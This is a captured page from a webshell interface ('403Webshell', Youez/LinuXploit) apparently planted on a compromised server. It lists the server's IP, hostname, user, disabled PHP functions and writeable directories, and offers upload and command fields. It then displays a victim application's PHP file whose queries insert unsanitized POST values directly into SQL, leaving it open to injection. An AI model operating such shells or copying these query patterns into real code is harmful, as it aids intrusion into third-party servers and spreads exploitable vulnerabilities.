403Webshell
Server IP : 92.204.40.98  /  Your IP : 216.73.216.201
Web Server : LiteSpeed
System : Linux amster.dnsfors.com 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : tmksyste ( 2190)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tmksyste/domains/tmksystems.in/private_html/applications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tmksyste/domains/tmksystems.in/private_html/applications/service_entry_add_code.php
<?php
include('connection.php');
error_reporting(0);
session_start();

$sid=$_POST['sid'];
$sdate=$_POST['sdate'];
$replacement=$_POST['replacement'];
$reason=$_POST['reason'];

$date=date("Y-m-d");

$sqls="select * from service where sid='$sid'";
$result=mysql_query($sqls) or die(mysql_error());
$row=mysql_fetch_array($result);echo $row['sinterval'];

$sinterval=$row['sinterval'];

$intt="+".$sinterval;
$effectiveDate=date('d-m-Y',strtotime($intt,strtotime($sdate)));
					
$NewDate=date('Y-m-d',strtotime("-3 days",strtotime($effectiveDate)));

if(isset($_REQUEST['submit']))
{
	$sql="insert into service_entry(sid,sdate,replacement,reason) values('$sid','$sdate','$replacement','$reason')";	
	
	$sql2="update service set nextdate='$NewDate' where sid='$sid'";
    
    mysql_query($sql);
    mysql_query($sql2);
   
	header('location:service_list.php?log=insert');
	echo '<META HTTP-EQUIV="Refresh" Content="0; URL=service_list.php?log=insert">'; 
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit